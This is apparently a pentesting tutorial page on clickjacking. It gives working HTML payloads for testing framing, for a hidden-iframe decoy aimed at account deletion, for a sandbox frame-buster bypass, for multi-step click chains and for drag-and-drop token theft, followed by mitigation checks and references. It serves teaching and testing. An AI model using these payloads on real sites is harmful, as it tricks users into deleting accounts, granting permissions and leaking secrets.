Clickjacking
Clickjacking is a UI redress attack that tricks users into clicking hidden elements on a transparent page layered over attacker-controlled content. The target application is loaded in an invisible iframe positioned so that a button or link the attacker wants clicked sits directly under a visible, enticing element on the attacker's page. When the victim clicks what they see, they actually interact with the hidden target page. This enables account changes, fund transfers, and permission grants without the victim's knowledge. The attack works when the target application can be framed and lacks proper anti-clickjacking headers. Framing protection is set through X-Frame-Options and the frame-ancestors CSP directive, both covered in CSP analysis. For related UI-based attacks, see CSRF exploitation.
Testing for Clickjacking
The first step is checking whether the target can be loaded in an iframe. Inspect the response headers for X-Frame-Options and the Content-Security-Policy frame-ancestors directive.
If the command returns no output, the target has no framing protection and is likely vulnerable. When headers are present, check the values:
X-Frame-Options: DENYprevents all framing.X-Frame-Options: SAMEORIGINallows framing only from the same origin.Content-Security-Policy: frame-ancestors 'none'is the modern equivalent of DENY.Content-Security-Policy: frame-ancestors 'self'is the modern equivalent of SAMEORIGIN.
If neither header is present, the page can be framed from any origin. Confirm by loading the target in an iframe:
<html>
<head><title>Clickjack Test</title></head>
<body>
<iframe src="http://$TARGET_IP:$PORT/" width="800" height="600"></iframe>
<p>If the page loads above, it can be framed.</p>
</body>
</html>
Save this as an HTML file, open it in a browser, and check if the target page renders inside the iframe. If it does, the target is vulnerable to clickjacking.
Basic Clickjacking
The core technique positions a transparent iframe over attacker content so the victim clicks the target page's button instead of the visible decoy.
<html>
<head>
<title>Free Prize</title>
<style>
#target {
position: relative;
width: 800px;
height: 600px;
opacity: 0.0001;
z-index: 2;
}
#decoy {
position: absolute;
top: 450px;
left: 60px;
z-index: 1;
}
</style>
</head>
<body>
<div id="decoy">
<h2>Click here to claim your prize!</h2>
<button style="padding: 20px; font-size: 24px;">CLAIM NOW</button>
</div>
<iframe id="target" src="http://$TARGET_IP:$PORT/settings/delete-account"></iframe>
</body>
</html>
The iframe is nearly invisible (opacity: 0.0001). The decoy button is positioned under the target page's "Delete Account" button. When the victim clicks "CLAIM NOW", they actually click the delete button in the hidden iframe. Adjust the top and left values to align the decoy with the target element.
Success
Set opacity: 0.5 during development to visually align the target element with the decoy button. Switch to 0.0001 for the final payload.
Frame-Busting Bypass
Some applications use JavaScript-based frame busters to prevent framing. A common pattern is if (top !== self) { top.location = self.location; }, which redirects the parent page to the framed page. The sandbox attribute on an iframe restricts JavaScript execution inside it, effectively disabling these frame busters.
<iframe src="http://$TARGET_IP:$PORT/" sandbox="allow-forms" width="800" height="600" style="opacity: 0.0001;"></iframe>
The sandbox attribute without allow-scripts prevents JavaScript execution inside the iframe, so any frame-busting script is neutralized. allow-forms is needed if the clickjacking target involves form submission. If the target page requires JavaScript to render its content, this approach breaks the page. In that case, look for other bypass techniques:
- Use
sandbox="allow-scripts allow-forms"withallow-top-navigation-by-user-activationomitted to prevent the frame buster from navigating the parent. - Double framing: load the target in an iframe within an iframe. Some busters only check
top !== selfbut not the intermediate frame. - Some busters use
window.locationinstead oftop.location, which can be overridden.
Multi-Step Clickjacking
Complex actions that require multiple clicks can be chained. Each click target is presented sequentially, with the decoy content changing between clicks while the iframe stays in position or repositions to the next target element.
<html>
<head><style>
iframe { position: absolute; width: 800px; height: 600px; opacity: 0.0001; z-index: 2; }
.step { position: absolute; z-index: 1; display: none; }
.step.active { display: block; }
</style></head>
<body>
<div class="step active" id="step1" style="top: 300px; left: 100px;">
<button onclick="nextStep()">Click to continue</button>
</div>
<div class="step" id="step2" style="top: 350px; left: 200px;">
<button onclick="nextStep()">Confirm your entry</button>
</div>
<iframe src="http://$TARGET_IP:$PORT/account/settings"></iframe>
<script>
var step = 1;
function nextStep() {
document.getElementById('step' + step).classList.remove('active');
step++;
var next = document.getElementById('step' + step);
if (next) next.classList.add('active');
}
</script>
</body>
</html>
Step 1 aligns with "Enable API access" on the target page. Step 2 aligns with "Confirm" on the next dialog. The victim thinks they are navigating a survey but actually clicks through a multi-step action on the target site.
Clickjacking with Pre-Filled Forms
Combine clickjacking with drag-and-drop or pre-filled form fields to extract data or submit forms with attacker-controlled values. If the target page auto-fills sensitive data (like a CSRF token or email), the attacker can position an invisible text field over visible content and trick the victim into dragging data out.
<html>
<head><style>
iframe { width: 800px; height: 600px; opacity: 0.0001; position: absolute; z-index: 2; }
#decoy { position: absolute; top: 200px; left: 100px; z-index: 1; }
</style></head>
<body>
<div id="decoy">
<h3>Drag the icon to the box to verify you are human</h3>
<div draggable="true" style="width:50px;height:50px;background:#333;"></div>
<div style="width:200px;height:50px;border:2px dashed #666;margin-top:10px;"
ondrop="event.preventDefault();alert(event.dataTransfer.getData('text'));"
ondragover="event.preventDefault();">Drop here</div>
</div>
<iframe src="http://$TARGET_IP:$PORT/account/profile"></iframe>
</body>
</html>
If the target page contains selectable text (like an API key or token), the victim may inadvertently drag content from the invisible iframe into the attacker's drop zone, leaking sensitive data.
Mitigation Check
During a pentest report, document which defenses are present or missing. The correct defenses are:
X-Frame-Options: DENYblocks all framing.SAMEORIGINallows same-origin framing only.ALLOW-FROMis deprecated and not supported by modern browsers.Content-Security-Policy: frame-ancestors 'none'is the CSP equivalent. CSP takes precedence over X-Frame-Options when both are present.frame-ancestors 'self'allows same-origin framing. Specific origins can be whitelisted:frame-ancestors 'self' https://trusted.example.com.- X-Frame-Options is supported by all browsers but only accepts DENY and SAMEORIGIN in practice. CSP frame-ancestors is the modern standard and supports more granular control.
Check both headers on the target:
Some applications set X-Frame-Options on the login page but not on authenticated pages. Check multiple endpoints:
References
-
OWASP: ClickjackingLINK: OWASP: Clickjacking, owasp.org/www-community/attacks/Clickjacking (opens in new tab)
Attack techniques and defense mechanisms.
-
PortSwigger: ClickjackingTOOL: PortSwigger: Clickjacking, portswigger.net/web-security/clickjacking (opens in new tab)
Practical clickjacking labs and techniques.
-
MDN: X-Frame-OptionsDOCS: MDN: X-Frame-Options, developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options (opens in new tab)
Header specification and browser support.
-
MDN: CSP frame-ancestorsDOCS: MDN: CSP frame-ancestors, developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors (opens in new tab)
Modern framing protection directive.